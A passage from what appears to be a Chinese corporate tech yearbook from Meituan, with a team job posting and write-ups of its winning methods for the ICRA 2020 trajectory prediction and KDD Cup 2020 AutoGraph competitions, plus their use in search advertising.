同时本文也介绍我们在美团搜索广告上关于数据选择性偏差问题的业务应用，之前在
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广告系统中已经针对偏差问题进行了较多优化，这次比赛也让我们对偏差问题的研究

方向有了更进一步的认知。我们希望在未来的工作中会基于本次比赛取得的偏差优化

经验进一步地去优化广告系统中的偏差问题，让广告系统变得更加公平。
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 ● 触发策略：用户意图识别、广告商家数据理解，Query 改写，深度匹配，相关性建模。
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 ● 质量预估：广告质量度建模。点击率、转化率、客单价、交易额预估。

 ● 机制设计：广告排序机制、竞价机制、出价建议、流量预估、预算分配。

 ● 创意优化：智能创意设计。广告图片、文字、团单、优惠信息等展示创意的优化。

岗位要求：

 ● 有三年以上相关工作经验，对 CTR/CVR 预估，NLP，图像理解，机制设计至少一方面有应

用经验。

 ● 熟悉常用的机器学习、深度学习、强化学习模型。

 ● 具有优秀的逻辑思维能力，对解决挑战性问题充满热情，对数据敏感，善于分析 / 解决问题。

 ● 计算机、数学相关专业硕士及以上学历。

具备以下条件优先：

 ● 有广告 / 搜索 / 推荐等相关业务经验。

 ● 有大规模机器学习相关经验。

感兴趣的同学可投递简历至：tech@meituan.com（邮件标题请注明：广平搜索团队）。
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ICRA	2020 轨迹预测竞赛冠军的方法总结

作者：炎亮　佳禾　德恒　冬淳

行人轨迹预测问题是无人驾驶技术的重要一环，已成为近年来的一项研究热点。在机

器人领域国际顶级会议 ICRA 2020 上，美团无人配送团队在行人轨迹预测竞赛中夺

冠，本文系对该预测方法的一些经验总结，希望能对大家有所帮助或者启发。

一、背景

6 月 2 日，国际顶级会议 ICRA 2020 举办了“第二届长时人类运动预测研讨会”。该

研讨会由博世有限公司、厄勒布鲁大学、斯图加特大学、瑞士洛桑联邦理工联合组

织，同时在该研讨会上，还举办了一项行人轨迹预测竞赛，吸引了来自世界各地的

104 支队伍参赛。美团无人配送团队通过采用“世界模型”的交互预测方法，夺得了

该比赛的第一名。

图 1　ICRA 2020 TrajNet++ 轨迹预测竞赛
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二、赛题简介

本次竞赛提供了街道、出入口、校园等十个复杂场景下的行人轨迹数据集，要求参赛

选手根据这些数据集，利用行人在过去 3.6 秒的轨迹来预测其在未来 4.8 秒的运行轨

迹。竞赛使用 FDE（预测轨迹和真实轨迹的终点距离）来对各种算法进行排名。

本次的赛题数据集，主要来源于各类动态场景下的真实标注数据和模拟合成数据，采

集频率为 2.5 赫兹，即两个时刻之间的时间差为 0.4 秒。数据集中的行人轨迹都以固

定坐标系下的时序坐标序列表示，并且根据行人的周围环境，这些轨迹被分类成不同

的类别，例如静态障碍物、线性运动、追随运动、避障行为、团体运动等。在该比赛

中，参赛队伍需要根据每个障碍物历史 9 个时刻的轨迹数据（对应 3.6 秒的时间）来

预测未来 12 个时刻的轨迹（对应 4.8 秒的时间）。

该竞赛采用多种评价指标，这些评价指标分别对单模态预测模型和多模态预测模型进

行评价。单模态模型是指给定确定的历史轨迹，预测算法只输出一条确定的轨迹；而

多模态模型则会输出多条可行的轨迹（或者分布）。本次竞赛的排名以单模态指标中的

FDE 指标为基准。

三、方法介绍

其实，美团在很多实际业务中经常要处理行人轨迹预测问题，而行人轨迹预测的难点

在于如何在动态复杂环境中，对行人之间的社交行为进行建模。因为在复杂场景中，

行人之间的交互非常频繁并且交互的结果将会直接影响他们后续的运动（例如减速让

行、绕行避障、加速避障等）。

基于各类带交互数据集，一系列的算法被相继提出，然后对障碍物进行交互预测，

这些主流模型的工作重心都是针对复杂场景下行人之间的交互进行建模。常用的方

法包括基于 LSTM 的交互算法（SR LSTM[1]、Social GAN[2]、SoPhie[3]、Peeking 

into[4]、StarNet[5] 等），基于 Graph/Attention 的交互算法（GRIP[6]、Social 

STGCNN[7]、STGAT[8]、VectorNet[9] 等），以及基于语义地图 / 原始数据的预测算

法等。
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我们本次的参赛方法就是由自研算法 [10]（如图 2 所示）改进而来，该方法的设计思路

是根据场景中所有障碍物的历史轨迹、跟踪信息以及场景信息，建立并维护一个全局

的世界模型来挖掘障碍物之间、障碍物与环境之间的交互特性。然后，再通过查询世

界模型来获得每个位置邻域内的交互特征，进而来指导对障碍物的预测。

图 2　基于世界模型的预测算法

在实际操作过程中，由于数据集中缺乏场景信息，我们对模型做了适当的调整。在世界

模型中（对应上图的 Interaction Net），我们仅使用了现有数据集，以及模型能够提供

的位置信息和跟踪信息 LSTM 隐状态信息。最终得到的模型结构设计如下图 3 所示：

图 3　竞赛使用的基于世界模型的预测算法
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整个模型基于 Seq2Seq 结构，主要包含历史轨迹编码模块（Encoder）、世界模型

（Interaction Module）和解码预测模块（Decoder）三个部分。其中，编码器的功能

在于对行人历史轨迹进行编码，主要提取行人在动态环境中的运动模式；解码器则是

利用编码器得到的行人运动模式特征，来预测他们未来的运动轨迹分布。需要强调一

下，在整个编码与解码的过程中，都需要对世界模型进行实时更新（Update）与查询

（Query）两种操作。更新操作主要根据时序的推进，将行人的运动信息实时编入世界

模型中；查询操作则是根据全局的世界地图以及行人的自身位置，来获取行人当前邻

域内的环境特征。

图 4　编码阶段

在图 4 中，展示了我们模型在历史轨迹编码阶段的计算流程。编码阶段共有 9 个时

刻，对应 9 个历史观测时间点，每个时刻都执行相同的操作。以 t 时刻为例。

首先，将 t 时刻的所有行人坐标数据，包含：

位置集合
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速度集合

所有行人跟踪信息 - 上时刻编码得到的 LSTM 隐状态

将以上信息输入到世界模型中更新地图信息，即 Update 操作。整个 Update 操作经

过 MLP、MaxPooling 以及 GRU 等模块获得一个全局的时空地图特征 R；然后，每

个 LSTM（对应一个行人），使用其当前观测时刻的坐标信息：

解码预测阶段的流程与历史轨迹编码阶段基本一致，但存在两个细微的不同点：

 ● 区别 1：编码阶段每个行人对应的 LSTM 隐状态的初始化为 0；而解码阶段，

LSTM 由编码阶段的 LSTM 隐状态和噪声共同初始化。

 ● 区别 2：编码阶段行人对应的 LSTM 和世界模型使用的是行人历史观测坐标；

而解码阶段使用的是上时刻预测的行人坐标。
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图 5　解码预测阶段

四、数据预处理与后处理

为了对数据有更好的理解，便于使用更适合的模型，我们对训练数据做了一些预处理

操作。首先，数据集给出了各个行人的行为标签，这些标签是根据规则得到的，由于

我们采用了交互预测的方法，希望模型能自动学习行人与周围主体之间的位置关系、

速度关系等，所以我们就不直接使用标注中的“类型”信息；然后这次比赛的数据采

集自马路、校园等不同场景中行人的运动轨迹。场景之间的差异性非常大，训练集和

测试集数据分布不太一致。

于是，我们做了数据的可视化工作，将所有轨迹数据的起点放置于坐标轴的原点

处，根据历史观测轨迹（前 9 个时刻）终点的位置朝向，将所有轨迹分为 4 类：沿左

上方运动（top-left moving）、沿右上方运动（top-right moving）、沿左下方运动

（bottom-left moving）和沿右下方运动（bottom-right moving）。分布的结果如图 6

所示，可以发现，训练集和测试集的数据分布存在一定的差距。
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图 6　训练集与测试集历史观测轨迹中行人运动方向分布

针对上述问题，我们对训练集做了 2 项预处理来提高训练集与测试集分布的一致性：

 ● 平衡性采样；

 ● 场景数据正则化（缺失轨迹点插值，轨迹中心化以及随机旋转）。

此外，对于预测结果，我们也做了相应的后处理操作进行轨迹修正，主要是轨迹点的

裁剪以及基于非极大值抑制的轨迹选择。图 7 展示了两个场景中行人的运动区域，可

以看到有明显的边界，对于超出边界的轨迹，我们做了相应的修正，从而保证轨迹的

合理性。

图 7　训练轨迹的可视化
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最后在训练技巧上，我们也使用 K-Fold Cross Validation 和 Grid Search 方法来

做自适应的参数调优。最终在测试集上取得 FDE 1.24 米的性能，而获得比赛第二名

的方法的 FDE 为 1.30 米。

五、总结

行人轨迹预测是当前一个非常热门的研究领域，随着越来越多的学者以及研究机构的

参与，预测方法也在日益地进步与完善。美团无人配送团队也期待能与业界一起在该

领域做出更多、更好的解决方案。比较幸运的是，这次竞赛的场景与我们美团无人配

送的场景具备一定的相似性，所以我们相信未来它能够直接为业务赋能。目前，我们

已经将该研究工作在竞赛中进行了测试，也验证了算法的性能，同时为该算法在业务

中落地提供了一个很好的支撑。
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KDD	Cup	2020	AutoGraph 比赛冠军技术方案
及在美团的实践

作者：坚强　胡可　金鹏　雷军

背景

ACM SIGKDD （国际数据挖掘与知识发现大会，简称 KDD）是数据挖掘领域的国际

顶级会议。KDD Cup 比赛是由 SIGKDD 主办的数据挖掘研究领域的国际顶级赛事，

从 1997 年开始，每年举办一次，是目前数据挖掘领域最具影响力的赛事。该比赛同

时面向企业界和学术界，云集了世界数据挖掘界的顶尖专家、学者、工程师、学生等

参加，为数据挖掘从业者们提供了一个学术交流和研究成果展示的平台。KDD Cup 

2020 共设置五道赛题（四个赛道），分别涉及数据偏差问题（Debiasing）、多模态召

回问题（Multimodalities Recall）、自动化图学习（AutoGraph）、对抗学习问题和强

化学习问题。

图 1　KDD 2020 会议

美团到店广告平台搜索广告算法团队基于自身的业务场景，一直在不断进行前沿技术

的深入优化与算法创新，团队在图学习、数据偏差、多模态学习三个前沿领域均有一

定的算法研究与应用，并取得了不错的业务结果。基于这三个领域的技术积累，我

们在比赛中选择了三道紧密联系的赛题，希望应用并提升这三个领域技术积累，带

来技术与业务的进一步突破。搜索广告算法团队的黄坚强、胡可、漆毅、曲檀、明

健、博航、雷军与中科院大学唐兴元共同组建参赛队伍 Aister，参加了 AutoGraph、
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Debiasing、Multimodalities Recall 三 道 赛 题， 最 终 在 AutoGraph 赛 道 中 获 得

了冠军（1/149），在 Debiasing 赛道中获得冠军（1/1895），并在 Multimodalities 

Recall 赛道中获得了季军（3/1433）。

近些年来，图神经网络（GNN）在广告系统、社交网络、知识图谱甚至生命科学等

各个领域都得到了越来越广泛的应用。广告系统中存在着较为丰富的 User-Ad、

Query-Ad、Ad-Ad、Query-Query 等结构化关系，搜索广告算法团队成功地将图

表示学习应用于广告系统上，业务效果得到了一定的提升。此外，基于广告系统上图

学习的技术积累，团队在今年 KDD Cup 的 AutoGraph 赛道中斩获了第一名。本文

将介绍 AutoGraph 赛题的技术方案，以及团队在广告系统中图表示学习的应用与研

究，希望对从事相关研究的同学能够有所帮助或者启发。

图 2　KDD Cup 2020 AutoGraph 比赛 TOP 5 榜单

赛题介绍与问题分析

AutoGraph 问题概述

自动化图表示学习挑战赛（AutoGraph）是有史以来第一个应用于图结构数据的

AutoML 挑战，是 AutoML 与 Graph Learning 两个前沿领域的结合。KDD Cup 
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2020 中的 AutoML 赛道挑战，由第四范式、ChaLearn、斯坦福大学和 Google

提供。

图结构数据在现实世界中无处不在，例如社交网络、论文网络、知识图谱等。图表

示学习一直是一个非常热门的话题，它的目标是学习图中每个结点的低维表示 ，然

后可用于下游任务，例如社交网络中的朋友推荐，或将学术论文分类为引用网络中

的不同主题。 传统做法一般利用启发法从图中提取每个结点的特征，例如度统计或

基于随机游走的相似性。 近些年来，业界提出了大量用于图表示学习任务的复杂模

型，例如图神经网络（GNN）[1]，已经帮助很多任务（例如结点分类或链接预测）取

得了新的成果。

然而，无论是传统的启发式方法还是最近基于 GNN 的方法，都需要投入大量的计

算和专业知识资源，只有这样才能获得令人满意的任务性能。 例如在 Deepwalk[2]

和 Node2Vec[3] 中，必须对两种众所周知的基于随机游动的方法进行微调，以获得

各种不同的超参数，例如每个结点的游走长度和数量、窗口大小等，以获得更好的

性能。 而当使用 GNN 模型时，例如 GraphSAGE[4] 或 GAT[5]，我们必须花费大

量时间来选择 GraphSAGE 中的最佳聚合函数或 GAT 中多头自注意力头的数量。 

因此，由于人类专家在调参过程需要付出大量时间和精力，进而限制了现有图表示

模型的应用。

AutoML[6] 是降低机器学习应用程序中人力成本的一种有效方法，并且在超参数调整、

模型选择、神经体系结构搜索和特征工程方面都取得了令人鼓舞的成绩。 为了使更多

的人和组织能够充分利用其图结构数据，KDD Cup 2020 AutoML 赛道举办了针对

图结构数据的 AutoGraph 竞赛。在这一竞赛中，参与者应设计一个解决方案来自动

化进行图表示学习问题（无需任何人工干预）。该解决方案可以基于图的给定特征、邻

域和结构信息，有效而高效地学习每个结点的高质量表示，解决方案应设计为自动提

取和利用图中的任何有用信号。

本次 AutoGraph 竞赛针对自动化图学习这一前沿领域，选择了图结点多分类任务来

评估表示学习的质量。竞赛官方准备了 15 个图结构数据集，其中 5 个数据集可供下
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载，以便参赛者离线开发其解决方案。 除此之外，还将向参与者提供另外 5 个反馈

数据集，以评估其 AutoGraph 解决方案的公共排行榜得分。 之后，无需人工干预，

竞赛的最后一次提交将在剩余的 5 个数据集里进行评估，这 5 个数据集对于参赛者而

言是一直不可见的，评估排名最终会被用来评估所有参赛者的解决方案。 而且，这些

数据集是从真实业务中收集的，随机划分为训练集和测试集，每个数据集给予了图结

点 id 和结点特征，以及图边和边权信息，并且每个数据集都给了时间预算。参赛者

必须在给定的时间预算和算力内存限制下设计一个自动化图学习解决方案，对每个数

据集进行结点分类。每个数据集会通过精度（Accuracy）来评估准确性，通过精度可

以确定参赛者们在每个数据集的排名，最终排名将根据最后 5 个数据集的平均排名来

评估。

数据分析与问题理解

我们对离线五个图数据集进行分析，发现其图的类型多种多样，如下表 1 所示。从图

的平均度可以看出离线图 3、4 较为稠密，而图 1、2、5 较为稀疏，从特征数量可以

看出图 1、2、3、4 带有结点特征，图 5 无结点特征，同时我们发现图 4 是有向图而

图 1、2、3、5 是无向图，我们考虑将图类型划分为有向图 / 无向图、稠密图 / 稀疏

图、带特征图 / 无特征图等。

从表 1 中，我们也可以看出大部分图数据集的时间限制都在 100 秒左右，这是一个

很短的时间限制，大部分神经网络架构和超参数搜索方案 [7,8,9,10] 都需要一个较长

的搜索时间，需要数十个小时甚至长达数天进行架构和超参数搜索。因此，不同于神

经网络架构搜索，我们需要一个结构和超参数快速搜索的方案。
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表 1　离线五个图数据集的概况

如图 3 所示，我们发现在图数据集 5 上存在着模型训练不稳定的问题，模型在某个

epoch 上验证集精度显著下降。我们考虑主要是图数据集 5 易于学习，会发生过拟

合现象，因此我们在自动化建模过程中需要保证模型的强鲁棒性。

图 3　模型在训练过程中的不稳定性



算法　<　853

同时，从下图 4 可以发现，不同于传统的固定数据集评测数据挖掘竞赛，保证多个

类型，分布差异大的数据集排名的稳定性相比于优化某个数据集的精度更为重要。例

如，数据集 5 模型精度差异仅有 0.15%，却导致了十个名次的差异，数据集 3 模型

精度差异有 1.6%，却仅导致 7 个名次的差异，因而我们需要采用排名鲁棒的建模方

式来增强数据集排名的稳定性。

图 4　不同参赛团队在不同数据集上的精度及排名

问题挑战

基于以上数据分析，该赛题中存在以下三个挑战：

 ● 图数据的多样性：解决方案要在多个不同的图结构数据上都能达到一个好的效

果，图的类型多种多样，包含了有向图 / 无向图、稠密图 / 稀疏图、带特征图 /

无特征图等。

 ● 超短时间预算：大部分数据集的时间限制在 100s 左右，在图结构和参数的搜

索上需要有一个快速搜索的方案。
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 ● 鲁棒性：在 AutoML 领域，鲁棒性是非常重要的一个因素，最后一次提交要求

选手在之前没见过的数据集上进行自动化建模。

竞赛技术方案

针对以上三个挑战，我们设计了一个自动化图学习框架，如下图 5 所示，我们对输入

的图预处理并进行图特征构建。为了克服图的多样性挑战，我们设计了多个图神经网

络，每个图神经网络对于不同类型的图有各自的优势。为了克服超短时间预算挑战，

我们采用了一个图神经网络结构和超参快速搜索的方法，使用更小的搜索空间以及更

少的训练轮数来达到一个更快的搜索速度。为了克服鲁棒性挑战，我们设计了一个多

级鲁棒性模型融合策略。最终，我们的自动化图学习解决方案可以在较短的时间内对

多个不同图结构数据进行结点分类，并达到鲁棒性效果。接下来，我们将详细地介绍

整个解决方案。

图 5　自动化图学习框架
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数据预处理与特征构建

有向图处理：大多数谱域 GNN 方法并不能很好地处理有向图，它们的理论依赖于拉

普拉斯矩阵的谱分解，而大多数有向图的邻接矩阵是非对称矩阵，不能直接定义拉普

利矩阵及其谱分解。特别的，当一个结点只有入度没有出度时，GCN 等方法并不能

有效地获取其邻居信息。由于赛题关注于结点分类而不是链接预测等，考虑大多数图

结点分类问题，更为重要的是如何有效地提取图的邻居信息，因而我们将有向图的边

进行反转改为无向图，无向图新边的权重与有向图被反转边的权重相等。

特征提取：为了更有效地进行结点的表示学习，提取了一些图的人工特征来让 GNN

进行更好地表示学习，例如结点的度、一阶邻居以及二阶邻居的特征均值等，我们对

于数值跨度大的特征进行分桶，对这些特征进行 Embedding，避免过拟合的同时保

证了数值的稳定性。

图神经网络模型

为了克服图的多样性挑战，我们结合谱域及空域两类图神经网络方法，采用了

GCN[11]、TAGConv[12]、GraphSAGE[4]、GAT[5] 四个图神经网络模型对多种不同图

结构数据进行更好地表示学习，每个模型针对不同类型的图结构数据有各自的优势。

图作为一种非欧式空间结构数据，其邻居结点个数可变且无序，直接设计卷积核是困

难的。谱域方法通过图拉普拉斯矩阵的谱分解，在图上进行傅立叶变换得到图卷积函

数。GCN 作为谱域的经典方法，公式如下所示，其中 D 是对角矩阵，每个对角元素

为对应结点的度，A 是图的邻接矩阵，它通过给每个结点加入自环来使得卷积函数可

以获取自身结点信息，图中的 A 帽和 D 帽矩阵即是加自环后的结果，并在傅立叶变

换之后使用切比雪夫一阶展开近似谱卷积，使每一个卷积层仅处理一阶邻域信息，可

以通过堆叠多个卷积层达到多阶邻域信息传播。GCN 简单且有效，我们将 GCN 应

用到所有数据集上，大部分数据集能取得较好的效果。



856　>　美团 2020 技术年货

相较于堆叠多层获取多阶领域信息的 GCN 方法，TAGConv 通过邻接矩阵的多项式

拓扑连接来获取多阶领域信息。公式如下所示，可以发现，其通过预先计算邻接矩阵

的 k 次幂，相比 GCN 可以在训练过程中实现多阶邻域卷积并行计算，高阶邻域的结

果不受低阶邻域结果的影响，从而能加快模型在高阶邻域中的学习。在我们的实验结

果上，其在稀疏图上能快速收敛并相比于 GCN 能达到一个更好的效果。

相较于谱域方法利用傅立叶变换来设计卷积核参数，空域方法的核心在于直接聚合邻

居结点的信息，难点在于如何设计带参数、可学习的卷积核。GraphSAGE 提出了

经典的空域学习框架，其通过图采样与聚合来引入带参数可学习的卷积核，其核心思

想是对每个结点采样固定数量的邻居，这样就可以支持各种聚合函数。均值聚合函数

的公式如下所示，其中的聚合函数可以替换为最大值聚合，甚至可以替换为带参数的

LSTM 等神经网络。由于 GraphSAGE 带有邻居采样算子，我们引入该图神经网络

来极大地加速稠密图的计算。在我们的实验结果上，它在稠密图上的运行时间远小于

其他图神经网络，并且能达到一个较好的效果。

GAT 方法将 Attention 机制引入图神经网络中，公式如下所示。它通过图结点特征间

的 Attention 计算每个结点与其邻居结点的权重，通过权重对结点及其邻居结点进行

聚合作为结点的下一层表示。通过 Masked Attention 机制，GAT 能处理可变个数

的邻居结点，并且其使用图结点及其邻居结点的特征来学习邻居聚合的权重，能有效

利用结点的特征信息来进行图卷积，泛化效果更强，它参考了 Transformer 引入了

Multi-head Attention 来提高模型的拟合能力。GAT 由于利用了结点特征来计算结

点与邻居结点间的权重，在带有结点特征的数据集上表现优异，但如果特征维度多就

会使得 GAT 计算缓慢，甚至会出现内存溢出的现象，我们需要在特征维度多的情况
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下对 GAT 的参数进行搜索限制，要求其在一个参数量更小的空间下搜索。

超参快速搜索

由于超短时间预算的挑战，我们需要设计一个超参快速搜索方法来保证花较少的时

间就可以对每个图模型进行参数搜索，并且在每个数据集上尽可能地使用更多的图

模型进行训练和预测。如下图 6 所示，我们将参数搜索分为线下搜索和线上搜索两

个部分。

图 6　超参快速搜索

我们在线下搜索时，针对每一个图模型在多个数据集上使用一个大的搜索空间去确

定图结构和参数边界，保证每个数据集在这个边界中都有较好的效果。具体地，我

们对有向图 / 无向图、稀疏图 / 稠密图、带特征图 / 无特征图等不同图类型都对不

同模型的大多数参数进行了搜索，确定了几个重要超参数。例如对于稀疏图，调整
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GCN 的层数以及 TAGConv 多项式的阶数，使得其卷积感受野更大，可以迅速对

数据集进行拟合，以使得其可以快速收敛；对于特征特别多的图，调整 GAT 的卷

积层数、多头自注意力头的数量和隐层神经元个数以使得其训练时间在预算之内并

且有较好的效果；对于稠密图，调整 GraphSAGE 的邻居采样，使得其训练可以加

速。我们在线下主要确定了不同图模型学习率、卷积层数、隐层神经元个数等这三

个重要参数的边界。

由于线上时间预算的限制，我们通过线下的参数边界确定了一个小的参数搜索子空间

进行搜索。由于时间预算是相对少的，我们没有充足的时间在参数上做完整的训练验

证搜索，因此我们设计了一个快速参数搜索方法。对于每个模型的超参空间，我们通

过少量 epochs 的训练来比较验证集精度从而确定超参数。如下图 7 所示，我们通过

16 轮的模型训练来选取验证集精度最优的学习率 0.003，我们的目的是确定哪些超

参数可以使得模型快速拟合该数据集，而不追求选择最优的超参数，这样既可以减少

超参的搜索时间，也可以减少后续模型训练的时间。通过快速超参搜索，我们保证每

个模型在每个数据集上可以在较短内确定超参数，从而利用这些超参数进行每个模型

的训练。

图 7　少量 epochs 模型训练下不同学习率的验证集精度
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多级鲁棒模型融合

由于在该次竞赛中是通过数据集排名平均来确定最终排名，故而鲁棒性是特别重要

的。为了达到鲁棒效果，我们采用了一个多级鲁棒模型融合策略。如下图 8 所示，我

们在数据层面进行切分来进行多组模型训练，每组模型包含训练集及验证集，通过验

证集精度使用 Early Stopping 来保证每个模型的鲁棒效果。每组模型包括多种不同

的图模型，每种图模型训练进行 n-fold bagging 进行融合来取得稳定效果。不同种

类的图模型由于验证精度差异较大，我们需要对不同种类的图模型进行稠密度自适应

带权融合来利用不同模型在不同数据集上的差异性。最后，我们再对每组图模型进行

均值融合来利用数据间的差异性。

图 8　多级鲁棒模型融合

稠密度自适应带权融合：如图 4 所示，由于某些图数据集较为稀疏且无特征太容易

拟合，选手间精度相差小但是排名差异却较大。例如，数据集 5 模型精度差异仅有

0.15%，却导致了十个名次的差异，数据集 3 模型精度差异有 1.6%，却仅导致 7 个

名次的差异，因而我们对于多种图模型采用了稠密度自适应的融合方式。

融合权重如以下公式所示，其中 #edges 为边的数量，#nodes 为结点数量，则

#edges/#nodes 表示为图的稠密度，acc（Accuracy）为模型验证集精度，alpha、

beta、gamma 为超参数，每个模型的权重由 weight 确定。从以下公式可以看出，

如果图足够稠密，则我们只需根据模型精度差异去得到模型权重，无需根据稠密度去
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自适应调整，参数 alpha 为是否进行稠密度自适应加权的稠密度临界值；如果图足够

稀疏，则模型权重与其验证集精度和数据集的稠密度有关，图越稀疏，则模型权重差

异越大。这是由于图越稀疏则模型精度差异性越小，但选手间的排名差异却较大，则

我们需要给予更好的模型更大的权重来保证排名的稳定性。

评估结果

表 2 所示的是不同图模型在离线五个图数据集上的测试精度，与图神经网络模型章节

所描述的特点一致，GCN 在各个图数据集上有较好的效果。而 TAGConv 在稀疏图

数据集 1、2、5 有更优异的效果，GraphSAGE 在稠密图数据集 4 上取得最好的效

果，GAT 在有特征的数据集 1、2、4 中表现较为良好，而模型融合在每个数据集上

都能取得更稳定且更好的效果。
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表 2　不同图模型在离线五个图数据集上的测试精度

如下表 3 所示，我们的解决方案在每个图数据集上均达到鲁棒性效果，每个数据集的

排行均保持较领先的水平，并避免过度拟合，从而在平均排行上取得了第一，最终我

们 Aister 团队在 KDD Cup 2020 AutoGraph 赛题道上赢得了冠军。

表 3　Top 5 参赛队伍在最后 5 个数据集上所有图数据集的平均排行及在每个图数据集的单独排行
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广告业务应用

搜索广告算法团队负责美团与大众点评双平台的搜索广告与筛选列表广告业务，业务

类型涉及餐饮、休闲娱乐、丽人、酒店等，丰富的业务类型为算法优化带来很大空间

与挑战。在美团丰富的搜索广告业务场景中，结点类型非常丰富，有用户、Query、

Ad、地理位置甚至其他细分的组合结点，结点间的边关系也非常多样化，十分适合

通过图学习进行建模。我们在搜索广告的触发模块及点击率预估模块进行图学习的深

入优化，带来了业务效果的提升。

不仅结点间具有丰富的边关系，每种结点都有丰富的属性信息，比如 Ad 门店包含结

构化的店名、品类、地址位置、星级、销量、客单价以及点击购买次数等统计信息。

因此，我们的图是一种典型的异构属性图。目前在搜索广告场景下，我们主要关注包

含 Query 和 Ad 两类结点的异构属性图。

如下图 9 所示，我们构建包含了 Query 结点和 Ad 结点的图，应用于触发模块与点

击率预估模块。目前，该图使用的边关系主要包括以下几种：

 ● Query-Query Session：用户在一次会话中的多次 Query 提交；

 ● Query-Query Similarity Mining： 基 于 用 户 浏 览 点 击 日 志 挖 掘 的 Que-

ry-Query 相关性数据；

 ● Query-Ad Click：Query 下 Ad 的点击；

 ● Ad-Ad CoClick：在同一次请求或用户行为序列中，两个 Ad 的共同点击。

图 9　异构图的构建
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图模型在触发模块主要应用于广告 Ad 的向量召回，离线构建 Ad 向量索引，线上实

时预估 Query 向量，通过 ANN 检索的方式召回相关性较高的广告 Ad。相比于传统

的基于 Bidword 的触发方式，基于图模型的向量化召回在语义相关性及长尾流量上

有较明显的优势，通过增加召回率显著提升了广告变现效率。

图 10 所示的是基于图表示多任务学习的触发图网络。我们采用基于 MetaPath 的

Node2Vec 游走生成正例，负例通过全局采样得到。在负例采样时，我们限定负例

的品类必须和正例一致，否则由于在特征方面使用了品类特征，模型会轻易地学到使

用品类特征区分正负例，弱化了其他特征的学习程度，导致了模型在同品类结点中区

分度不好。并且负采样时，使用结点的权重进行 Alias 采样，保证与正例分布一致。

为了增强泛化能力解决冷启动问题，我们使用每个结点对应的属性特征而不使用结点

id 特征，这些泛化特征可以有效地缓解冷门结点问题，异构图中未出现的结点，也可

以根据它的属性特征，实时预估线上新 Query 或 Ad 的向量。

同时，对于不同结点类型应用不同的深度网络结构，对于 Query 结点，我们采用基

于字粒度和词粒度的 LSTM-RNN 网络，Ad 结点采用 SparseEmbedding+MLP

的网络。对于异构边类型，我们希望在模型训练过程中能刻画不同边的影响。对

于同一个结点，在不同的边上对应单独的一个深度网络，多个边的深度网络生成的

Embedding 通过 Attention 的方式进行融合，形成结点的最终 Embedding。为了充

分利用图的结构信息，我们主要采用 GraphSage 中提出的结点信息汇聚方式。在本

结点生成向量的过程中，除了利用本结点的属性特征外，也使用了邻居聚合向量作为

特征输入，提升模型的泛化能力。

另外，在美团 O2O 场景下，用户的访问时刻、地理位置等 Context 信息非常重要。

因此，我们尝试了图模型和双塔深度模型的多目标联合训练，其中双塔模型使用了

用户浏览点击数据，其中包含丰富的 Context 信息。Query 首先经过图模型得到

Context 无关的静态向量，然后与 Context 特征 Embedding 拼接，经过全连接层得

到 Context-Aware 的动态 Query 向量。
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图 10　基于图表示学习的触发网络

在点击率预估模块，相较于侧重于相关性建模的触发模块，更侧重于用户个性化的表

达。图结构数据可对用户行为序列进行补充、扩建，起到挖掘用户潜在多峰兴趣的

效果，从而提高用户点击率。我们通过在 DSIN（Deep Session Interest Network）

网络中引入图神经网络，将更为发散的用户兴趣扩充引入 Session 结构化建模。全

局的图结构信息不仅有效扩展了用户潜在兴趣点，并且 GNN Attention 机制可以将

目标 Ad 与图中潜在兴趣 Ad 信息结合，进一步挖掘出用户的目标兴趣。

如图 11 所示，对于任意用户行为序列，序列中每一个 Ad，都可以在 Ad 图中进行

邻接点遍历，得到其兴趣接近的其余 Ad 表达；用户行为序列是用户的点击序列，可

视为用户兴趣的显示表达；经过 Ad 图拓展得到的序列，是行为序列在图数据中最相

似的 Ad 组成的序列，可视为用户潜在兴趣的表达。用户原始行为序列的建模，目前

基线采用 DSIN 模型；拓展序列的建模，则采用图神经网络的相关方法，利用 GNN 

attention 处理得到兴趣向量，并和目标 Ad 交叉。我们的实验显示，在 DSIN 基线

模型的基础上，拓展序列还能进一步取得精度提升。

未来，我们还会进一步探索图模型在点击率模块中的应用，包括基于用户意图的图模

型等。
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图 11　基于图神经网络的个性化预估网络

总结与展望

KDD Cup 是同工业界联接非常紧密的一项国际比赛，每年赛题紧扣业界热点问题与

实际问题，而且历年产出的 Winning Solution 对工业界也都有很大的影响。例如，

KDD Cup 2012 产出了 FFM（Feild-Aware Factorization Machine）与 XGBoost

的原型，在工业界已经取得了非常广泛的应用。

今年的 KDD Cup 主要关注在自动化图表示学习以及推荐系统等领域上，图表示学习

在近年来既是学术界的热点，也被工业界广泛应用。而 AutoML 领域则致力于探索机

器学习端到端全自动化，将 AutoML 与图表示学习两大研究热点相结合，有助于节省

在图上进行大量探索的人工成本，解决了复杂度较高的图网络调优问题。

本文介绍了搜索广告算法团队 KDD Cup 2020 AutoGraph 赛题的解决方案，通过对

所给的离线数据集进行数据分析，我们定位了赛题的三个主要挑战，采用了一个自动

化图学习框架，通过多种图神经网络的结合解决了图数据的多样性挑战，通过超参快

速搜索方法来保证自动化建模方案的运行时间在预算之内，以及采用了多级鲁棒模型

融合策略来保证在不同类型数据集的鲁棒性。同时，也介绍我们在美团搜索广告触发

模块以及点击率预估模块上关于图学习的业务应用，这次比赛也让我们对自动化图表

示学习的研究方向有了更进一步的认知。在未来的工作中，我们会基于本次比赛取得

的经验进一步优化图模型，并尝试通过 AutoML 技术优化广告系统，解决系统中难以

人工遍历的模型优化与特征优化等问题。
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KDD	Cup	2020 多模态召回比赛亚军方案与搜索
业务应用

作者：左凯　马潮　东帅　曹佐　金刚　张弓

1. 背景

ACM SIGKDD（ACM SIGKDD Conference on Knowledge Discovery and Data 

Mining）是世界数据挖掘领域的顶级国际会议。KDD Cup 比赛由 ACM SIGKDD 举

办，从 1997 年开始每年举办一次，也是数据挖掘领域最有影响力的赛事之一。该

比赛同时面向企业界和学术界，云集了世界数据挖掘界的顶尖专家、学者、工程

师、学生等参加，通过竞赛，为数据挖掘从业者们提供了一个学术交流和研究成果

展示的理想场所。今年，KDD Cup 共设置四个赛道共五道赛题，涉及数据偏差问题

（Debiasing）、多模态召回（Multimodalities Recall）、自动化图学习（AutoGraph）、

对抗学习问题和强化学习问题。

美团搜索广告算法团队最终在 Debiasing 赛道中获得冠军（1/1895），在 AutoGraph

赛道中也获得了冠军（1/149）。在 Multimodalities Recall 赛道中，亚军被美团搜索

与 NLP 团队摘得（2/1433），美团搜索广告算法团队获得了第三名（3/1433）。

https://www.kdd.org/kdd2020/
https://tianchi.aliyun.com/competition/entrance/231785/rankingList
